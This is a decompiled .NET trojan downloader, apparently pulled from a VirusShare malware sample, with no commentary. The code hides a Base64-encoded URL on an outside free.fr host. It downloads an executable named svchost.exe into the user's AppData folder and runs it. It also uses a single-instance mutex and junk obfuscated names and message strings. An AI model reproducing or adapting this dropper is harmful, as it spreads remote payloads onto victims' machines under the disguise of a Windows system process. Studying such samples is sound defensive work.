// Decompiled with JetBrains decompiler // Type: VJxSJzN // Assembly: svchost, Version=3.12.31.6307, Culture=neutral, PublicKeyToken=null // MVID: DCA39F30-4249-40DF-B21B-AC098A39B0DC // Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Fsysna.gkub-d9473a56126348c1c248f19377dabf233a7f32a3f368c58360bdc5b35ed41b30.exe using Microsoft.VisualBasic; using Microsoft.VisualBasic.CompilerServices; using My; using System; using System.Diagnostics; using System.IO; using System.Text; using System.Threading; [StandardModule] internal sealed class VJxSJzN { private static string XGGtfHdpElDosTHFyQOkGekgsvLghqBvZoH = "buoeKTUSXIBImzyPSVNmBteMOiLQdo"; private static Mutex JWKvXtsUCTFJjKVPheBW; private static string ZVKeULZjSSFrToCQxPBFeTQKcZwSqwsEIWrtDNHkBTnHBqWffe = MyProject.Computer.FileSystem.SpecialDirectories.Temp + "\\"; private static string cNGOrFEUYaSrHyjRTnQVjtObPCcyxaHYLPoPaUmjGcBsoBRgCp = MyProject.Computer.FileSystem.SpecialDirectories.CurrentUserApplicationData + "\\"; public static void JxvVMYbQgRGKBCapKvBJ( string paOWAsdvyEposPuYHbJypajQUBWbmODhcgrAbcjxgqeZawObR) { int num1 = (int) Interaction.MsgBox((object) "ZbTXCipwebGUGPypXuZVQbNToKOaCiRMScexGoTVdJOhMSbsBtYnWhYBwbBGkMxOgcFpUeIYEahaoVRUYZqLXQNNcicfyLiPLqEaNrrHCpUaGNEUkzkSoSMGcvB"); int num2 = (int) Interaction.MsgBox((object) "jLUuDaXKtEwToMBfpNyzMchnuQsZlpjWsmEllLiHLdMoaXigrHqgjMtrLQpuuGHjPvDQTwdUmRQVLvHfzwVvsJYlnhprUCpRdrnmmVzVtkPLbtmRGTZZhLHOPXEr"); int num3 = (int) Interaction.MsgBox((object) "JRZvCeeSjBXYUsPKnTCOrcgaYrWMPIAGtmaDAkpwXepRSnuTdYziMChpkVfxUxTrTSPnoElAhkVgEnOGcoSnSZxrhVKUQbhEaSLSAMblMqMbMpnqyyOVBasTQWyeLVKiv"); int num4 = (int) Interaction.MsgBox((object) "cdqOixknGDEghQEhnlxIOSjFEGBXKfZkwQpjbJblrJBwRTYpaBRvIHAMUCjOYaXkIppLKLIdGoqwLGEYspiIujNrdhdfYcPSnWgdlzsXcLNORWLsRVjbYvlCHQYGKgOoNgCTG"); int num5 = (int) Interaction.MsgBox((object) "IKaIkyJaueEDCCMNqxGzcIWUlqIXGIqjBqrusNIPnWIqorqjEdzLVvLBvzYHIiToTseExuUKOMighbvngfqpaIllHPdkrbFgnBKwRzZmEVQFhBrhyZVSurMiwINpJiPS"); int num6 = (int) Interaction.MsgBox((object) "FIQMBwhlfWkIggixZgLpgSlYRTZrcGTEJIhSazxSwopYreBtphjVhyYKJsZRWTTZkfoQRhFKYEZKPXILUCvYSIqMlLSnFZbXcscSMuXsPLLhADxuJ"); int num7 = (int) Interaction.MsgBox((object) "YnQmpgQMIRHHaNnVfULhMmdggApDFVPiItTUbUBtolJStJraLtotsDQOrmWfEiErIQlRfWMQQgxgPJyoeQlJYaumwGUYQSkjURcGVafcjQgZKCoLhLFcuxBoXpLLQsMmMOSUnh"); int num8 = (int) Interaction.MsgBox((object) "iouswuvrFXPmRyNdHDrikHYNeimMdPTxpgabNsMQOARZaKQIDLgWrQNxNTXeDHlQdtFbuHnXnvgoQqXnLtIMIIONTziieKiGKlLMfXbHrPiBaZkNvKzYXS"); int num9 = (int) Interaction.MsgBox((object) "ugxFHnIushedGGavyJqqBzpAUNFBrpESGUQyipMzXHQgHYMUbeWdDErtsouZlIvKkRWqczGylskzZHOKRYrLgvwpTRtmdvpDWESaDZRJWVneVOImJaBjxghJn"); int num10 = (int) Interaction.MsgBox((object) "KjmajWUxWQeJiBYknyHSBqxHKvITKzqxKJvurGqOlapNOjCThllHCbWwORnxWVMkxyYUtXbvTvetalmtMcQHleFRmxCicUJGwPjIPrSbTXLKubTtfSLZcUnCdhR"); int num11 = (int) Interaction.MsgBox((object) "ibqlTPCjvkBbQyBMKeobydLSQJflupvdNCOMFLyritSAXmNCNsfELBHfWRgMcGCpnINYzvrVUQFXyeYJhSBFRHSOauizpwzrCGvvXIQWAQXUPPQgPSKFmkaVVHsZBAUlBLUGtmB"); } [STAThread] public static void Main() { if (MyProject.Computer.Network.Ping("www.google.com")) { VJxSJzN.vnjuMbwktRMprYr(VJxSJzN.XGGtfHdpElDosTHFyQOkGekgsvLghqBvZoH); VJxSJzN.DoitNow(); } else { int num = (int) Interaction.MsgBox((object) "Check your internet conection"); } } public static void DoitNow() { string address = Encoding.UTF8.GetString(Convert.FromBase64String("aHR0cDovL3NvZnk4NC5mcmVlLmZyL3NvZnk4NC9icy9zdmNob3N0LmV4ZQ==")); int num = address.LastIndexOf("/"); string str = address.Substring(checked (num + 1)); if (File.Exists(VJxSJzN.cNGOrFEUYaSrHyjRTnQVjtObPCcyxaHYLPoPaUmjGcBsoBRgCp + str)) File.Delete(VJxSJzN.cNGOrFEUYaSrHyjRTnQVjtObPCcyxaHYLPoPaUmjGcBsoBRgCp + str); MyProject.Computer.Network.DownloadFile(address, VJxSJzN.cNGOrFEUYaSrHyjRTnQVjtObPCcyxaHYLPoPaUmjGcBsoBRgCp + str); Process.Start(VJxSJzN.cNGOrFEUYaSrHyjRTnQVjtObPCcyxaHYLPoPaUmjGcBsoBRgCp + str); } public static void vnjuMbwktRMprYr(string xGuajkinLR) { try { Mutex.OpenExisting(xGuajkinLR); ProjectData.EndApp(); } catch (Exception ex) { ProjectData.SetProjectError(ex); VJxSJzN.JWKvXtsUCTFJjKVPheBW = new Mutex(false, xGuajkinLR); ProjectData.ClearProjectError(); } } }